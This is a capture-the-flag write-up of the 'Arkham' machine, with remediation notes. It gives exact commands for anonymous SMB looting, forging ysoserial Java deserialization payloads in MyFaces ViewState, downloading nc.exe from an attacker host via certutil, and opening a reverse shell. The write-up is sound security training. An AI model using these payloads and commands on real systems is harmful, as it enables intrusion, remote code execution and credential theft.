Arkham
Summary
Reconnaissance against $TARGET (ARKHAM) revealed SMB with null/anonymous authentication enabled, IIS 10.0 on port 80, and a legacy Apache Tomcat 8.5.37 instance on port 8080. Anonymous SMB enumeration surfaced a world-readable share named BatShare that contained an application backup archive; inside was a LUKS-encrypted disk image that opened with the guessable passphrase '[REDACTED: recovered credential]'. Mounting the decrypted volume exposed a backed-up Tomcat web-application descriptor (web.xml.bak) from which the Apache MyFaces JSF ViewState encryption secret ('[REDACTED: recovered credential]') was recovered.
Armed with that secret, I forged a malicious ViewState payload wrapping a ysoserial CommonsCollections6 Java deserialization gadget chain and POSTed it to the /userSubscribe.faces endpoint, achieving blind remote code execution on the Tomcat server despite benign-looking HTTP 500 responses. The Tomcat service account was then used to download nc.exe via certutil and establish a reverse shell as the initial foothold. From that shell, Alfred's Outlook offline store — stored in a path readable by the service account — was exfiltrated; binwalk carved an embedded screenshot PNG from the OST that showed Batman's account password visible in a cmd.exe net-use window.
OCR reconstruction of the screenshot, combined with SMB credential spraying, recovered the correct password. Batman's account carried local administrator rights on ARKHAM, enabling direct remote command execution via SMB that read both the user and root flags without any further escalation step.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p- --min-rate 5000 -oN nmap_arkham.txt $TARGETnxc smb $TARGETExact commands 3
nxc smb $TARGET -u '' -p '' --sharessmbmap -H $TARGET -u guest -p '' -r BatSharesmbclient //$TARGET/BatShare -U 'guest%' -c 'recurse ON; prompt OFF; ls; mget *'FixDisable SMB null-session and guest authenticationCritical
Exact commands 4
unzip -o appserver.zip -d appserver_extractedprintf '[REDACTED: recovered credential]' | sudo cryptsetup open --type luks appserver_extracted/backup.img arkham_backup --key-file -sudo mount /dev/mapper/arkham_backup /mnt/arkham_backupgrep -iE 'secret|macSecret|algorithm' /mnt[REDACTED: sensitive value].xml.bakFixRemove sensitive backup archives from network shares and enforce strong encryption passphrasesCritical
Exact commands 3
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "ping -n 1 $ATTACKER_IP" > oob_payload.binpython3 forge_viewstate.py --secret '[REDACTED: recovered credential]' --payload oob_payload.bin --out forged_vs.b64curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat forged_vs.b64)"FixRotate the MyFaces ViewState secret, harden deserialization, and upgrade Apache TomcatCritical
Exact commands 4
python3 -m http.server 8002ncat -lvnp 4444java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "certutil -urlcache -split -f http://$ATTACKER_IP:8002/nc.exe C:\Windows\Temp\nc.exe" > dl_payload.bin && python3 forge_viewstate.py --secret '[REDACTED: recovered credential]' --payload dl_payload.bin --out dl_vs.b64 && curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat dl_vs.b64)"java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 "cmd.exe /c C:\Windows\Temp\nc.exe -e cmd.exe $ATTACKER_IP 4444" > shell_payload.bin && python3 forge_viewstate.py --secret '[REDACTED: recovered credential]' --payload shell_payload.bin --out shell_vs.b64 && curl -s -X POST "http://$TARGET:8080/userSubscribe.faces" --data-urlencode 'j_id_jsp_1623871077_1:email=test@test.com' --data-urlencode "javax.faces.ViewState=$(cat shell_vs.b64)"FixBlock outbound HTTP from server processes and restrict certutil-based file downloadsHigh
Exact commands 3
copy C:\Users\Alfred\Downloads\backups\backup.zip C:\tomcat\apache-tomcat-8.5.37\webapps\ROOT\backup.zipcurl -s http://$TARGET:8080/backup.zip -o alfred_backup.zip && unzip alfred_backup.zipbinwalk -e 'alfred@arkham.local.ost'FixRestrict the Tomcat service account from accessing user home directoriesHigh
Exact commands 3
convert _alfred@arkham.local.ost.extracted/<carved_screenshot>.png -resize 300% -colorspace Gray -sharpen 0x1 processed.pngtesseract processed.png [REDACTED: recovered credential]_creds && cat [REDACTED: recovered credential]_creds.txtnxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]'FixProhibit storing credentials in email, documents, or screenshotsHigh
Exact commands 3
nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' --sharesnxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' -x 'type C:\Users\Batman\Desktop\user.txt'nxc smb $TARGET -u Batman -p '[REDACTED: recovered credential]' -x 'type C:\Users\Administrator\Desktop\root.txt'FixRemove Batman's local administrator rights and enforce least privilege for standard user accountsHigh
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds? |
| 8080/tcp | http Apache Tomcat 8.5.37 |
| 49666/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |